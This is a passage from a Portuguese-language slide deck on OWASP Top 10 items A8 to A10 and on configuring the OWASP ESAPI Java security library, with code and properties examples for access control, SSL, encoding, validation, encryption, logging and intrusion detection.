http://example.com/app/getappInfo ← acesso legítimo
http://example.com/app/admin_getappInfo ← acesso indevido
80. 80
OWASP Top 10
A8: Falha ao restringir o acesso às URLs
Como evitar:
• Verificar se o usuário tem permissão de acessar a URL
–É recomendável que esta verificação seja implementada na forma de
um filtro java para verificar o acesso a todas as páginas
ESAPI.accessController().isAuthorizedForURL(request.getRequestURI());
81. 81
OWASP Top 10
A8: Falha ao restringir o acesso às URLs
Como evitar:
• Verificação implementada na forma de Filtro Java
public void doFilter(ServletRequest req, ServletResponse resp,
FilterChain chain) throws IOException {
if ( !ESAPI.accessController()
.isAuthorizedForURL(request.getRequestURI()) ) {
request.setAttribute("message", "Acesso não autorizado!" );
RequestDispatcher dispatcher =
request.getRequestDispatcher("WEB-INF/index.jsp");
//redireciona para página principal
dispatcher.forward(request, response);
return;
}
chain.doFilter(request, response);
}
82. 82
OWASP Top 10
A9: Proteção ineficaz da camada de transporte
Características:
• Ocorre quando as aplicações falham na autenticação, cifra e
proteção da confidencialidade e integridade do tráfego de
informações sensíveis na rede.
• Quando o fazem, muitas vezes fazem com o uso de recursos e
algoritmos fracos, muitas vezes usam certificados inválidos ou
expirados, ou não os utilizam corretamente.
83. 83
OWASP Top 10
A9: Proteção ineficaz da camada de transporte
Como evitar:
• Exigir conexão SSL em todas as páginas sensíveis. As requisições
que não fazem uso de SSL para estas páginas devem ser
redirecionadas para a respectiva página SSL.
• Defina o flag "secure" em todos os cookies sensíveis.
• Configure o seu provedor de SSL para usar apenas algoritmos de
criptografia robustos
• Certifique que o certificado é válido, não expirado, não revogado e
corresponde a todos os domínios usados pelo site.
• As conexões de backend e demais conexões devem utilizar as
tecnologias de criptografia SSL ou outras similares.
84. 84
OWASP Top 10
A9: Proteção ineficaz da camada de transporte
Como evitar:
• Boa parte do problema está na camada de comunicação SSL
• A ESAPI pode ser usada para ajudar a:
–Garantir que a comunicação seja realizada por meio de canal
seguro (SSL)
–Definir os flags dos cookies como 'secure'
–Fornecer métodos que facilitam a criptografia/decriptografia dos
dados.
85. 85
OWASP Top 10
A9: Proteção ineficaz da camada de transporte
Como evitar:
• Garantindo a comunicação via canal SSL
–garantir que o request use SSL e a passagem de parâmetros seja via
POST
–garantir apenas o uso do SSL
try{
ESAPI.httpUtilities().assertSecureRequest(request);
} catch ( AccessControlException ace) {
}
try{
ESAPI.httpUtilities().assertSecureChannel(request);
} catch ( AccessControlException ace) {
}
86. 86
OWASP Top 10
A9: Proteção ineficaz da camada de transporte
Como evitar:
• Definindo os flags dos cookies como 'secure', encapsulando a requisição
com o uso do wrapper SecurityWrapperRequest:
HttpServletRequest safeReq =
new SecurityWrapperRequest( request );
HttpServletResponse safeResp =
new SecurityWrapperResponse( response );
87. 87
OWASP Top 10
A9: Proteção ineficaz da camada de transporte
Como evitar:
• Utilizar métodos que facilitam a criptografia/decriptografia dos dados
– ESAPI.encryptor().encrypt(PlainText message)
– ESAPI.encryptor().decrypt(CypherText message)
– ESAPI.httpUtilities().encryptQueryString(String query)
– ESAPI.httpUtilities().decryptQuery(String encrypted)
– ESAPI.httpUtilities().encryptHiddenField(String value)
– ESAPI.httpUtilities().dencryptHiddenField(String encrypted)
88. 88
OWASP Top 10
A9: Proteção ineficaz da camada de transporte
Como evitar:
• Criptografando a query string
• Decriptografando a query string
String url = "http://example.com/tela.jsp?encQuery=";
String queryString = "field1=value1&field2=value2&field3=value3";
String urlEnc = url+ESAPI.httpUtilities().encryptQueryString(queryString);
String encQueryParam = request.getParameter("encQuery");
java.util.Map<String, String> mapQueryString =
ESAPI.httpUtilities().decryptQueryString(encQueryParam);
89. 89
OWASP Top 10
A10: Redirecionamentos inseguros
Características:
• Ocorre quando as aplicações Web redirecionam e encaminham
usuários para outras páginas e sítios de Web e usam para isto
dados não confiáveis para determinar as páginas de destino.
• Sem uma validação adequada, os atacantes podem redirecionar as
vítimas para sítios de phishing ou malware, ou então usar o
mecanismo de encaminhamento para acessar páginas não
autorizadas.
90. 90
OWASP Top 10
A10: Redirecionamentos inseguros
Como evitar:
• Não utilizar parâmetros dos usuários para o cálculo da URL de
destino, ou então utilizar referências indiretas para as URLs.
• Assegurar que o valor fornecido é válido e autorizado para o usuário.
• Utilizar a ESAPI para realizar o processo de redirecionamento de
maneira segura:
ESAPI.httpUtilities().sendRedirect (response, request.getParameter("fwd"));
ESAPI.httpUtilities().sendForward (request, response,
request.getParameter("fwd"));
91. 91
Biblioteca OWASP ESAPI
O que é a ESAPI?
• É uma API de segurança corporativa.
• Desenvolvido pela OWASP
• Licença BSD
• Linguagens:
– Java (Java EE)
– .NET
– ASP classico
– PHP
–ColdFusion
–Python
–Haskell
–Javascript
92. 92
Biblioteca OWASP ESAPI
O que é a ESAPI?
• É apenas uma coleção de blocos de segurança pré-moldados, de código
aberto projetados para ajudar a equipar as aplicações existentes com a
segurança.
• ESAPI Framework Integration Project
– Serão compartilhadas as melhores práticas para a integração.
– Existe uma grande espectativa das equipes de frameworks como o
Struts adotarem a ESAPI
93. 93
Biblioteca OWASP ESAPI
O que é uma API de segurança corporativa?
• É uma API de alto nível que fornece funções comuns de segurança
na forma de um serviço para a aplicação que faz uso da biblioteca.
• É configurada de modo centralizado para manter a configuração
separada da implementação.
• Permite que os desenvolvedores não necessitem desviar o foco da
atenção para escrever controles de segurança próprios para os
componentes, promovendo assim o reuso.
• Atende a um ambiente de desenvolvimento de código seguro e
convenções de codificação.
• Fornece uma API comum (em relação às interfaces), mas que também
permite a customização ou extensão para se adaptar a ambientes
específicos.
Fonte: Chris Schmidt, Solving Real World Problems with ESAPI, FROC 2010
97. 97
Biblioteca OWASP ESAPI
ESAPI x SLDC
O ciclo de desenvolvimento de sistemas
(Systems Development Life Cycle -
SDLC), ou ciclo de desenvolvimento de
software em engenharia de sistemas e
engenharia de software, é o processo
de criação ou modificação de
sistemas, com o uso de modelos e
metodologias que são utilizados para
desenvolver sistemas.
Fonte: Chris Schmidt, Solving Real World Problems with ESAPI, FROC 2010
98. 98
Biblioteca OWASP ESAPI
ESAPI x SLDC
Resposta: Em todas as fases!
Em qual das fases a ESAPI se encaixa?
Fonte: Chris Schmidt, Solving Real World Problems with ESAPI, FROC 2010
99. 99
Biblioteca OWASP ESAPI
Premissas Básicas:
• Segurança não é um evento único:
– Deve ser aplicado e aprimorado constantemente.
• Processo de desenvolvimento:
– Uma iniciativa de codificação segura deve abordar todos os
estágios do ciclo de vida de um software.
• Tratar o problema na raiz
– Onde o esforço e o custo de correção são menores.
100. 100
Biblioteca OWASP ESAPI
Benefícios de identificar as falhas de segurança logo no início
do ciclo de vida do desenvolvimento, onde o custo e o
esforço de correção são baixos
101. 101
Biblioteca OWASP ESAPI
Ciclo de vida de requisição segura
Fonte: Chris Schmidt, Solving Real World Problems with ESAPI, FROC 2010
102. 102
Biblioteca OWASP ESAPI
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
Problemática atual:
103. 103
Biblioteca OWASP ESAPI
As vulnerabilidades originam-se de:
• Controles inexistentes
– Inexistência de mecanismo de criptografia;
– Falha em realizar o controle de acesso
• Controles Ineficientes
– Algorítimo de geração de hash fraco, ex: MD5
– Mecanismo de tratamento de entrada/saída de dados
desatualizado
• Controles Ignorados
– Falha no uso da criptografia
– Trechos de código onde faltam as rotinas de codificação dos
dados de saída
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
104. 104
Biblioteca OWASP ESAPI
Os controles de segurança que um desenvolvedor
precisa devem ser:
• Padronizados
• Centralizados
• Organizados
• Integrados
• Intuitivos
• Testados
• Devem possuir alta qualidade
Resolve os problemas de controles inexistentes e ineficientes
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
105. 105
Biblioteca OWASP ESAPI
E o problema dos controles ignorados ?
• As seguintes ações não solucionam, mas ajudam:
– Guias de codificação
– Análise estática
– Treinamento de desenvolvedores
– Testes unitários
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
107. 107
Tratando Configuração de Segurança da Aplicação
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
108. 108
Configurando ESAPI
Proteção dos arquivos de configuração
(nível de SO):
• Uma proteção no nível do sistema operacional deve ser
empregada para proteger o diretório de recursos .esapi,
incluindo todos os arquivos dentro do diretório e todos os
caminhos que vão até o diretório raiz do sistema de
arquivos.
• Caso estiver usando implementações baseadas em
arquivos (ex: FileBasedAuthenticator), alguns arquivos
necessitam ter permissões de leitura e escrita (read-write)
devido o fato de serem atualizados dinamicamente.
109. 109
Configurando ESAPI
• A ESAPI foi projetada para ser facilmente extensível.
• As implementações de referência podem ser usadas,
mas, caso necessário, podem ser substituídas por
implementações próprias que se integram à infraestrutura
de segurança já existente.
• Isto permite que implementações de segurança sejam
facilmente substituídas no futuro sem a necessidade de
reescrever toda a aplicação.
110. 110
Configurando ESAPI
• É possível definir o classname para o provedor que se deseja utilizar
para a aplicação cliente no arquivo ESAPI.properties.
• O único requisito é que implemente a interface ESAPI apropriada.
• O trecho do arquivo de configuração a seguir, mostra as referências
definidas por padrão na biblioteca:
(...)
ESAPI.AccessControl=org.owasp.esapi.reference.DefaultAccessController
ESAPI.Authenticator=org.owasp.esapi.reference.FileBasedAuthenticator
ESAPI.Encoder=org.owasp.esapi.reference.DefaultEncoder
ESAPI.Encryptor=org.owasp.esapi.reference.JavaEncryptor
ESAPI.CipherText=org.owasp.esapi.reference.DefaultCipherText
ESAPI.PreferredJCEProvider=SunJCE
ESAPI.Executor=org.owasp.esapi.reference.DefaultExecutor
ESAPI.HTTPUtilities=org.owasp.esapi.reference.DefaultHTTPUtilities
ESAPI.IntrusionDetector=org.owasp.esapi.reference.DefaultIntrusionDetector
ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory
ESAPI.Randomizer=org.owasp.esapi.reference.DefaultRandomizer
ESAPI.Validator=org.owasp.esapi.reference.DefaultValidator
(...)
112. 112
Configurando ESAPI
• Implementações que dependem de outros arquivos:
(...)
ESAPI.AccessControl=org.owasp.esapi.reference.DefaultAccessController
ESAPI.Authenticator=org.owasp.esapi.reference.FileBasedAuthenticator
ESAPI.Encoder=org.owasp.esapi.reference.DefaultEncoder
ESAPI.Encryptor=org.owasp.esapi.reference.JavaEncryptor
ESAPI.CipherText=org.owasp.esapi.reference.DefaultCipherText
ESAPI.PreferredJCEProvider=SunJCE
ESAPI.Executor=org.owasp.esapi.reference.DefaultExecutor
ESAPI.HTTPUtilities=org.owasp.esapi.reference.DefaultHTTPUtilities
ESAPI.IntrusionDetector=org.owasp.esapi.reference.DefaultIntrusionDetector
ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory
ESAPI.Randomizer=org.owasp.esapi.reference.DefaultRandomizer
ESAPI.Validator=org.owasp.esapi.reference.DefaultValidator
(...)
Requer arquivo users.txt no diretório .esapi
Requer arquivo ESAPI-AccessControlPolicy.xml
e URLAccessRules.txt no diretório .esapi
Requer arquivo log4j.xml ou log4j.properties
no classpath
.esapi/ESAPI-AccessControlPolicy.xml
.esapi/URLAccessRules.txt
.esapi/users.txt
113. 113
Validação, Codificação e Injeção
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
114. 114
Tratando Validação e Codificação
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
116. 116
Configurando Encoder
• A ESAPI realiza a canocalização dos dados de entrada antes
de realizar a validação dos dados para prevenir tentativas de
burlar os filtros com ataques codificados.
• A canonicalização ocorre automaticamente quando se utiliza o
Validator da ESAPI, mas também é possível invocar o método
de canocalização diretamente, conforme o trecho de código a
seguir:
String result = ESAPI.encoder().canonicalize( request.getParameter("input") );
119. 119
Configurando Encoder
Mixed Encoding – Codificação Mista
• A codificação mista ocorre quando diferentes formatos de
codificação são aplicados, ou quando múltiplos formatos são
aninhados.
• Habilitar a codificação mista é uma prática totalmente
desaconselhável.
Encoder.AllowMixedEncoding=false
120. 120
Configurando Encoder
120
String result = ESAPI.encoder().canonicalize( "%22hello world"" );
09/11/2010 10:24:40 org.owasp.esapi.reference.JavaLogFactory$JavaLogger log
SEVERE: [Anonymous:null@unknown -> /IntrusionException] INTRUSION - Mixed encoding (2x) detected in %22hello world"
Exception in thread "main" org.owasp.esapi.errors.IntrusionException: Input validation failure
at org.owasp.esapi.reference.DefaultEncoder.canonicalize(DefaultEncoder.java:161)
at org.owasp.esapi.reference.DefaultEncoder.canonicalize(DefaultEncoder.java:105)
at Teste.main(Teste.java:114)
120
String result = ESAPI.encoder().canonicalize( ""hello world"" );
"hello world"
String result = ESAPI.encoder().canonicalize( "%22hello world%22" );
"hello world"
121. 121
Configurando Encoder
CodeList – Lista de Codificadores
• A lista de codificação padrão contém os codecs a serem
aplicados quando estiver realizando a canocalização de
dados não confiáveis
• A lista deve incluir os codecs para todos os interpretadores ou
decodificadores.
Encoder.DefaultCodecList=HTMLEntityCodec,PercentCodec,JavaScriptCodec
122. 122
Configurando Validator
Possui as configurações de validação dos dados nos
seguintes arquivos:
• ESAPI.properties
–Contém expressões regulares usadas pelos módulos da ESAPI
• validation.properties
–Contém expressões regulares criadas pelo próprios usuários
123. 123
Configurando Validator
(...)
#===========================================================================
# ESAPI Encoder
#
Validator.ConfigurationFile=validation.properties
# Validators used by ESAPI
Validator.AccountName=^[a-zA-Z0-9]{3,20}$
Validator.SystemCommand=^[a-zA-Z-/]{1,64}$
Validator.RoleName=^[a-z]{1,20}$
#the word TEST below should be changed to your application
#name - only relative URL's are supported
Validator.Redirect=^/test.*$
(...)
ESAPI.properties
124. 124
Configurando Validator
(...)
# Global HTTP Validation Rules
# Values with Base64 encoded data (e.g. encrypted state) will need at least [a-zA-Z0-9/+=]
Validator.HTTPScheme=^(http|https)$
Validator.HTTPServerName=^[a-zA-Z0-9_.-]*$
Validator.HTTPParameterName=^[a-zA-Z0-9_]{1,32}$
Validator.HTTPParameterValue=^[a-zA-Z0-9.-/+=@_ ]*$
Validator.HTTPCookieName=^[a-zA-Z0-9-_]{1,32}$
Validator.HTTPCookieValue=^[a-zA-Z0-9-/+=_ ]*$
Validator.HTTPHeaderName=^[a-zA-Z0-9-_]{1,32}$
Validator.HTTPHeaderValue=^[a-zA-Z0-9()-=*.?;,+/:&_ ]*$
Validator.HTTPContextPath=^[a-zA-Z0-9.-/_]*$
Validator.HTTPServletPath=^[a-zA-Z0-9.-/_]*$
Validator.HTTPPath=^[a-zA-Z0-9.-_]*$
Validator.HTTPQueryString=^[a-zA-Z0-9()-=*.?;,+/:&_ %]*$
Validator.HTTPURI=^[a-zA-Z0-9()-=*.?;,+/:&_ ]*$
Validator.HTTPURL=^.*$
Validator.HTTPJSESSIONID=^[A-Z0-9]{10,30}$
# Validation of file related input
Validator.FileName=^[a-zA-Z0-9!@#$%^&{}[]()_+-=,.~'` ]{1,255}$
Validator.DirectoryName=^[a-zA-Z0-9:/!@#$%^&{}[]()_+-=,.~'` ]{1,255}$
(...)
ESAPI.properties
126. 126
Tratando Autenticação e Usuários
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
127. 127
Configurando Authenticator
(...)
#===========================================================================
# ESAPI Authenticator
#
Authenticator.AllowedLoginAttempts=3
Authenticator.MaxOldPasswordHashes=13
Authenticator.UsernameParameterName=username
Authenticator.PasswordParameterName=password
# RememberTokenDuration (in days)
Authenticator.RememberTokenDuration=14
# Session Timeouts (in minutes)
Authenticator.IdleTimeoutDuration=20
Authenticator.AbsoluteTimeoutDuration=120
#===========================================================================
(...)
Tentativas de login permitidas
Número de senhas que não podem se repetir
para determinado usuário
Nome dos campos de login/senha
do formulário de login
Parâmetros de Timeout
Tempo de duração do token em dias
para implementar a funcionalidade
“Rember me”
128. 128
Tratando Controle de Acesso
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
129. 129
Configurando AccessControl
O módulo AccessControl depende dos seguintes arquivos
e configuração:
• ESAPI-AccessControlPolicy.xml (políticas de controle de acesso)
• URLAccessRules.txt (regras de restrição de acesso às URLs)
URLAccessRules.txt
# Regras de Acesso a URL #
/app/getappInfo | any | allow |
/app/admin_getappInfo | admin | allow |
130. 130
Tratando Referências Direta a Objetos
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
131. 131
Tratando segurança no HTTP
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
132. 132
Configurando HttpUtilities
• O HttpUtilities provê proteção básica para as requisições e
respostas HTTP.
• Os métodos prioritariamente protegem contra dados maliciosos
provenientes dos atacantes, comumente presentes em
caracteres não imprimíveis, caracteres de escaping, e outros
ataques mais simples.
• O HttpUtilities também prove métodos úteis para tratar cookies,
cabeçalhos e tokens CSRF.
133. 133
Configurando HttpUtilities
(...)
#===========================================================================
# ESAPI HttpUtilties
# Default file upload location (remember to escape backslashes with )
HttpUtilities.UploadDir=C:ESAPItestUpload
HttpUtilities.UploadTempDir=C:temp
# Force flags on cookies, if you use HttpUtilities to set cookies
HttpUtilities.ForceHttpOnlySession=false
HttpUtilities.ForceSecureSession=false
HttpUtilities.ForceHttpOnlyCookies=true
HttpUtilities.ForceSecureCookies=true
# Maximum size of HTTP headers
HttpUtilities.MaxHeaderSize=4096
# File upload configuration
HttpUtilities.ApprovedUploadExtensions=.zip,.pdf,.doc,.docx,.ppt,.pptx,.tar,.gz,.tgz,.rar,.war,.jar,.ear,.xls,.rtf,.proper
ties,.java,.class,.txt,.xml,.jsp,.jsf,.exe,.dll
HttpUtilities.MaxUploadFileBytes=500000000
HttpUtilities.ResponseContentType=text/html; charset=UTF-8
# This is the name of the cookie used to represent the HTTP session
# Typically this will be the default "JSESSIONID"
HttpUtilities.HttpSessionIdName=JSESSIONID
#===========================================================================
(...)
136. 136
Configurando Encryptor
(...)
#===========================================================================
# ESAPI Encryption
# To calculate these values, you can run:
# java -classpath esapi.jar org.owasp.esapi.reference.crypto.JavaEncryptor
#Encryptor.MasterKey= ←
#Encryptor.MasterSalt= ←
Encryptor.PreferredJCEProvider=←
# Warning: This property does not control the default reference implementation for
# ESAPI 2.0 using JavaEncryptor. Also, this property will be dropped
# in the future.
# @deprecated
Encryptor.EncryptionAlgorithm=AES
# For ESAPI Java 2.0 - New encrypt / decrypt methods use this.
Encryptor.CipherTransformation=AES/CBC/PKCS5Padding
Encryptor.cipher_modes.combined_modes=GCM,CCM,IAPM,EAX,OCB,CWC
Encryptor.cipher_modes.additional_allowed=CBC
Encryptor.EncryptionKeyLength=128
(...)
137. 137
Configurando Encryptor
Geração do MasterKey e MasterSalt
Comando:
O resultado gerado será semelhantes a:
java -classpath esapi.jar org.owasp.esapi.reference.crypto.JavaEncryptor
Copy and paste these lines into ESAPI.properties
#==============================================================
Encryptor.MasterKey=a6H9is3hEVGKB4Jut+lOVA==
Encryptor.MasterSalt=SbftnvmEWD5ZHHP+pX3fqugNysc=
#==============================================================
Obs.: Este processo apenas facilita a
obtenção dos valores
138. 138
Configurando Encryptor
(...)
#===========================================================================
# ESAPI Encryption
# To calculate these values, you can run:
# java -classpath esapi.jar org.owasp.esapi.reference.crypto.JavaEncryptor
Encryptor.MasterKey=a6H9is3hEVGKB4Jut+lOVA==
Encryptor.MasterSalt=FVD0iUJZR0ZhnPXn+UcFnpcUB84=
Encryptor.PreferredJCEProvider=SunJCE
# Warning: This property does not control the default reference implementation for
# ESAPI 2.0 using JavaEncryptor. Also, this property will be dropped
# in the future.
# @deprecated
# Encryptor.EncryptionAlgorithm=AES
# For ESAPI Java 2.0 - New encrypt / decrypt methods use this.
Encryptor.CipherTransformation=AES/CBC/PKCS5Padding
Encryptor.cipher_modes.combined_modes=GCM,CCM,IAPM,EAX,OCB,CWC
Encryptor.cipher_modes.additional_allowed=CBC
(...)
Utilizar valores obtidos para definir
os valores de MasterKey e MasterSalt
Se não for definido o valor padrão
será SunJCE
139. 139
Configurando Encryptor
(...)
Encryptor.ChooseIVMethod=random
Encryptor.fixedIV=0x000102030405060708090a0b0c0d0e0f
Encryptor.EncryptionKeyLength=128
Encryptor.CipherText.useMAC=true
Encryptor.PlainText.overwrite=true
# Do not use DES except in a legacy situations. 56-bit is way too small key size.
#Encryptor.EncryptionKeyLength=56
#Encryptor.EncryptionAlgorithm=DES
# TripleDES is considered strong enough for most purposes.
# Note: There is also a 112-bit version of DESede. Using the 168-bit version
# requires downloading the special jurisdiction policy from Sun.
#Encryptor.EncryptionKeyLength=168
#Encryptor.EncryptionAlgorithm=DESede
Encryptor.HashAlgorithm=SHA-512
Encryptor.HashIterations=1024
Encryptor.DigitalSignatureAlgorithm=SHA1withDSA
Encryptor.DigitalSignatureKeyLength=1024
Encryptor.RandomAlgorithm=SHA1PRNG
Encryptor.CharacterEncoding=UTF-8
(...)
Se for utilizar SunJCE sem nenhum
Complemento, então deve substituir
SHA1withDSA para DSA
140. 140
Configurando Encryptor
(...)
Encryptor.ChooseIVMethod=random
Encryptor.fixedIV=0x000102030405060708090a0b0c0d0e0f
Encryptor.EncryptionKeyLength=128
Encryptor.CipherText.useMAC=true
Encryptor.PlainText.overwrite=true
# Do not use DES except in a legacy situations. 56-bit is way too small key size.
#Encryptor.EncryptionKeyLength=56
#Encryptor.EncryptionAlgorithm=DES
# TripleDES is considered strong enough for most purposes.
# Note: There is also a 112-bit version of DESede. Using the 168-bit version
# requires downloading the special jurisdiction policy from Sun.
#Encryptor.EncryptionKeyLength=168
#Encryptor.EncryptionAlgorithm=DESede
Encryptor.HashAlgorithm=SHA-512
Encryptor.HashIterations=1024
#Encryptor.DigitalSignatureAlgorithm=SHA1withDSA
Encryptor.DigitalSignatureAlgorithm=DSA
Encryptor.DigitalSignatureKeyLength=1024
Encryptor.RandomAlgorithm=SHA1PRNG
Encryptor.CharacterEncoding=UTF-8
(...)
Se for utilizar SunJCE
Substituir SHA1withDSA para DSA
141. 141
Tratando Exceções, Logs e Detecção de Intrusos
Fonte: Jeff Williams, Establishing an Enterprise Security API to Reduce Application Security Costs, Aspect Security
143. 143
Módulo Logger
• Os níveis de registo definido por essa interface (em ordem
decrescente) são:
–Fatal (Crítico)
–Error (Erro)
–Warning (Aviso)
–Info (Informativo)
–Debug (Depuração)
–Trace (Rastreamento)
144. 144
Módulo Logger
• Habilitando os níveis de registo:
//DESABILITADO todos os níveis
ESAPI.log().setLevel( Logger.OFF );
//Habilitando nível FATAL
ESAPI.log().setLevel( Logger.FATAL );
//Habilitando nível ERROR
ESAPI.log().setLevel( Logger.ERROR );
//Habilitando nível WARNING
ESAPI.log().setLevel( Logger.WARNING );
//Habilitando nível INFO
ESAPI.log().setLevel( Logger.INFO );
//Habilitando nível DEBUG
ESAPI.log().setLevel( Logger.DEBUG );
//Habilitando nível TRACE
ESAPI.log().setLevel( Logger.TRACE );
//Habilitando nível ALL
ESAPI.log().setLevel( Logger.ALL );
146. 146
Módulo Logger
Fonte: OWASP ESAPI Javadoc
• Exemplos:
ESAPI.log().debug( Logger.SECURITY_SUCCESS, “Teste1 – executando ActionX”);
ESAPI.log().error( Logger.SECURITY_FAILURE, “Erro conexão SSL”);
ESAPI.log().fatal( Logger.EVENT_FAILURE, “Falha de conexão com o banco”);
ESAPI.log().info( Logger.EVENT_SUCCESS, “Usuario “+ user + “realizou cadastro!”);
ESAPI.log().trace( Logger.EVENT_UNSPECIFED, “Entrou no loop”);
ESAPI.log().warning( Logger.EVENT_UNSPECIFED, “Espaço em disco no limite!”);
147. 147
Configurando Logger
(...)
#===========================================================================
# ESAPI Logging
# Set the application name if these logs are combined with other applications
Logger.ApplicationName=ExampleApplication
# If you use an HTML log viewer that does not properly HTML escape log data, you can set LogEncodingRequired to
true
Logger.LogEncodingRequired=false
# Determines whether ESAPI should log the application name. This might be clutter in some single-server/single-app
environments.
Logger.LogApplicationName=true
# Determines whether ESAPI should log the server IP and port. This might be clutter in some single-server
environments.
Logger.LogServerIP=true
# LogFileName, the name of the logging file. Provide a full directory path (e.g., C:ESAPIESAPI_logging_file) if you
# want to place it in a specific directory.
Logger.LogFileName=ESAPI_logging_file
# MaxLogFileSize, the max size (in bytes) of a single log file before it cuts over to a new one (default is 10,000,000)
Logger.MaxLogFileSize=10000000
#===========================================================================
(...)
148. 148
Módulo Intrusion Detector
• Monitora as requisições e toma ações pré-configuradas para
determinadas ações
• As ações são baseadas na ocorrências de determinadas exceções,
como:
– IntrusionException
– AuthenticationHostException
149. 149
Configurando Intrusion Detector
• Cada evento possui um parâmetro .count, .interval, e .action que são
configurados no arquivo ESAPI.properties.
• As ações são tomadas conforme um limiar de quantidade de eventos
definida em "count" que ocorrem no intervalo de tempo definida em
"interval" (em segundos)
• Todas as exceções do tipo EnterpriseSecurityExceptions podem ser
monitoradas
• O IntrusionDetector é configurável para realizar automaticamente as
seguintes ações:
– log – apenas fazer log da requisição feita pelo usuario
– logout – fazer logoff da conta do usuario que gerou a exceção
– disable – bloquear a conta do usuario que gerou a exceção
150. 150
Configurando Intrusion Detector
• É permitido definir múltiplas ações separadas por vírgulas ex:
event.test.actions=log,disable
• É permitido criar eventos e monitorá-los, para isto basta que o nomes dos
eventos criados pelos usuários possuam o prefixo
"IntrusionDetector.event.", da seguinte forma:
• Para disparar o evento, basta realizar a chamada, associando o nome do
evento definido:
(...)
#
# Use IntrusionDetector.addEvent( "test" ) in your code to trigger "event.test" here
IntrusionDetector.event.test.count=2
IntrusionDetector.event.test.interval=10
IntrusionDetector.event.test.actions=disable,log
(...)
ESAPI.intrusionDetector().addEvent( "test" );
151. 151
Configurando o Intrusion Detector
(...)
#===========================================================================
# ESAPI Intrusion Detection
#
IntrusionDetector.Disable=false
#
# Use IntrusionDetector.addEvent( "test" ) in your code to trigger "event.test" here
IntrusionDetector.event.test.count=2
IntrusionDetector.event.test.interval=10
IntrusionDetector.event.test.actions=disable,log
# Exception Events
# any intrusion is an attack
IntrusionDetector.org.owasp.esapi.errors.IntrusionException.count=1
IntrusionDetector.org.owasp.esapi.errors.IntrusionException.interval=1
IntrusionDetector.org.owasp.esapi.errors.IntrusionException.actions=log,disable,logout
# sessions jumping between hosts indicates session hijacking
IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.count=2
IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.interval=10
IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.actions=log,logout
(...)
152. 152
OWASP AppSensor
• Projeto complementar da OWASP que possui uma implementação
que substitui a implementação padrão de referência do
IntrusionDetector da biblioteca ESAPI
• Assim como o IntrusionDetector, o seu papel é monitorar as
requisições e realizar ações pré-configuradas.
Fonte: Michael Coates, AppSensor: Real Time Defenses, OWASP Foundation
153. 153
OWASP AppSensor
• Contém um conjunto complementar de verificações previstas que
não existiam, como:
– Tentativas de modificar parâmetros POST para acessar objetos
diretamente
– Tentativa de Cross Site Scripting
– Comando HTTP Inesperados
– Tentativa de invocar método HTTP não suportado
155. 155
OWASP AppSensor
• Contém um conjunto complementar de ações de resposta que não
existem no DefaultIntrusionDetector, como:
– disableComponent – bloqueia o acesso ao componente a todos
os usuários que foi invocado para realizar a intrusão usando o
AppSensorServiceController
– disableComponentForUser – bloqueia o acesso ao componente
que foi invocado para realizar a tentativa de intrusão apenas para
o usuário logado (se existir) usando o AppSensorServiceController
– emailAdmin – envia um Email para o administrador notificando
qual ação maliciosa ocorreu
– smsAdmin – envia um SMS para o administrador (via email para
a conta sms) notificando qual ação maliciosa ocorreu
157. 157
Incorporando AppSensor
• Arquivo de configuração (ESAPI.properties) exige mais parâmetros
para configurar as novas ações.
(...)
#===========================================================================
#AppSensor
IntrusionDetector.Total.count=10
IntrusionDetector.Total.interval=20
IntrusionDetector.Total.actions=log,logout,disable
#no way to get this custom value via esapi
IntrusionDetector.Total.custom=20
#http://www.owasp.org/index.php/AppSensor_DetectionPoints#ACE2:_Modifying_Parameters_Within_A_POST_For_Direct_Object
_Access_Attempts
IntrusionDetector.ACE2.count=3
IntrusionDetector.ACE2.interval=3
IntrusionDetector.ACE2.actions=log,logout,disable,disableComponent
# some integer - duration of time to disable
IntrusionDetector.ACE2.disableComponent.duration=30
# some measure of time, currently supported are s,m,h,d (second, minute, hour, day)
IntrusionDetector.ACE2.disableComponent.timeScale=m
# some integer - duration of time to disable
IntrusionDetector.ACE2.disableComponentForUser.duration=30
# some measure of time, currently supported are s,m,h,d (second, minute, hour, day)
IntrusionDetector.ACE2.disableComponentForUser.timeScale=m
(...)
158. 158
Filtros ESAPI
• A ESAPI emprega filtros para realizar uma série de controles de
segurança e ações úteis, incluindo autenticação e proteção contra
ataques CSRF.
• Filtros:
–ESAPIFilter – Filtro da ESAPI que realiza algumas verificações
básicas
–WebApplicationFirewallFilter – Implementa a funcionalidade de
firewall de aplicação
–ESAPIRequestRateThrottleFilter – Restringe a quantidade de
requisições por usuário
159. 159
Filtros ESAPI
• Outros filtros:
–GZIPFilter – Verifica se o browser suporta compressão com Gzip e usa
a compressão dos dados de retorno com gzip
–LoginFilter – Intercepta requisições de login para implementar a
funcionalidade "Remember Me"
–ClickjackFilter – Filtra quais páginas não podem receber frames
internos, podendo ser configurado no web.xml com as seguintes
opções:
» DENY – Nenhum frame interno é permitido para as páginas
filtradas, mesmo que sejam da própria aplicação
» SAMEORIGIN – É permitido frames internos nas páginas filtradas
que referenciam apenas as páginas internas da própria aplicação
161. 161
ESAPI Filter
• Serve como implementação de referência
• Realiza verificação de controle de token CSRF na URL
• Realiza verificação de autenticação do Usuário
• Define flags para não fazer cache dos cabeçalhos
ESAPI.authenticator().login(request, response);
ESAPI.httpUtilities().checkCSRFToken();
